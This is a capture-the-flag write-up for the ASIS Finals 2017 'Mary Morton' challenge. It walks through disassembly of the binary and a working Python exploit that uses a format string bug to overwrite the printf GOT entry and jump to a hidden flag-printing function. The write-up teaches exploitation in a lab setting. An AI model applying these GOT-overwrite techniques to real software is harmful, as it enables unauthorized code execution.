ASIS Finals 2017: Mary Morton¶
Overview¶
The Mary Morton ASIS challenge was designed to be simple. In doing so, they
provide the CTFer with two options. The first, a stack overflow. The second, a
format string vulnerability. While my guess is the intended solution was to use
the format string vulnerability to leak the stack canary so that you could use
the buffer overflow, formatStringExploiter
makes using only the format string
vulnerability for a win very easy. In this case, I only used the format string
vulnerability and a couple lines of python to solve it.
Example:
$ ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%x
224dc6b0
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./mary_morton terminated
Aborted (core dumped)
The Vulnerability¶
As stated before, the user is allowed to chose a vulnerability they wish to use
and then use it in a strait forward manner. Using checksec
, we notice that
this binary is 64-bit and utilizes partial relro. This means that we have the
ability to overwrite the GOT
table. Further, since hardening techniques have
not been enabled, we are able to use %n
, which is key for enabling format
string to overwrite the GOT
entry.
The next question is generally, what do I overwrite and what do i overwrite that with? Well, a look at the strings of this binary provides a good target.:
[0x00400960]> iz
vaddr=0x00400ad4 paddr=0x00000ad4 ordinal=000 sz=25 len=24 section=.rodata type=ascii string=Welcome to the battle !
vaddr=0x00400aed paddr=0x00000aed ordinal=001 sz=27 len=26 section=.rodata type=ascii string=[Great Fairy] level pwned
vaddr=0x00400b08 paddr=0x00000b08 ordinal=002 sz=20 len=19 section=.rodata type=ascii string=Select your weapon
vaddr=0x00400b1f paddr=0x00000b1f ordinal=003 sz=5 len=4 section=.rodata type=ascii string=Bye
vaddr=0x00400b24 paddr=0x00000b24 ordinal=004 sz=7 len=6 section=.rodata type=ascii string=Wrong!
vaddr=0x00400b2b paddr=0x00000b2b ordinal=005 sz=16 len=15 section=.rodata type=ascii string=/bin/cat ./flag
vaddr=0x00400b3b paddr=0x00000b3b ordinal=006 sz=7 len=6 section=.rodata type=ascii string=-> %s\n
vaddr=0x00400b42 paddr=0x00000b42 ordinal=007 sz=29 len=28 section=.rodata type=ascii string=1. Stack Bufferoverflow Bug
vaddr=0x00400b5f paddr=0x00000b5f ordinal=008 sz=22 len=21 section=.rodata type=ascii string=2. Format String Bug
vaddr=0x00400b75 paddr=0x00000b75 ordinal=009 sz=20 len=19 section=.rodata type=ascii string=3. Exit the battle
So “/bin/cat ./flag” seems like something we want to do. Let’s find the code.:
[0x004008da]> /r 0x00400b2b
[0x00400c98-0x0060109f] data 0x4008de mov edi, str._bin_cat_._flag in fcn.004008da
Going back a little, we find the hidden function.:
│ 0x004008da 55 push rbp
│ 0x004008db 4889e5 mov rbp, rsp
│ 0x004008de bf2b0b4000 mov edi, str._bin_cat_._flag ; 0x400b2b ; "/bin/cat ./flag"
│ 0x004008e3 e8b8fdffff call sym.imp.system ; int system(const char *string)
│ 0x004008e8 90 nop
│ 0x004008e9 5d pop rbp
└ 0x004008ea c3 ret
So we can probably agree that 0x004008da
is our target for this overwrite.
Step 1: exec_fmt¶
The first step in using the FormatString
class is to create an exec_fmt
function. This function will take in any arbitrary input, pass that input into
the application properly, parse the results and return the results back. At
this point, we’re not worried about exploiting the vulnerability, we’re simply
interacting with the program.
def exec_fmt(s):
p.sendline("2")
sleep(0.1)
p.sendline(s)
ret = p.recvuntil("1. Stack Bufferoverflow Bug",drop=True)
p.recvuntil("Exit the battle \n")
return ret
Step 2: Instantiate Class¶
Next, we need to instantiate a FormatString class. This can be done strait
forward. To make it simpler, we’ll also open an ELF
class on the exe.
from formatStringExploiter.FormatString import FormatString
from pwn import *
# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./mary_morton")
# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you’ll see something like this:
Found the offset to our input! Index = 6, Pad = 0
Good to go now. It has found the buffer, we can simply ask the class to perform
actions for us now. However, let’s make this a little faster. The challenge
binary has a 20 second timeout. We don’t want to waste time finding the same
index and exploring the stack each time. Thus, since we already know the index,
let’s just tell formatStringExploiter
what it is ahead of time. The above
code simply becomes:
from formatStringExploiter.FormatString import FormatString
from pwn import *
# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./mary_morton")
# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
Now, our load time for this will be effectively none.
Step 3: Read the flag¶
We now have a functional and initialize FormatString
class. We also know
what function we want to call. Lets pick some function to overwrite. Since our
target function doesn’t take input, it could be almost anything. We’ll just
choose printf
for the sake of simplicity. Our exploit then, looks like this:
# The function that prints the flag
winner = 0x4008DA
# Connect up
connect()
# Instantiate the format string with known values
fmtStr = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
# Ask our format string to overwrite the printf GOT entry with our function
fmtStr.write_q(elf.symbols['got.printf'], winner)
# Hit enter and our flag should be printed out.
p.sendline("2")
p.interactive()
# ASIS{An_impROv3d_v3r_0f_f41rY_iN_fairy_lAnds!}
That’s it. Your flag is printed. If this were the CTF, you could change
process
to remote
and run it again to grab the flag.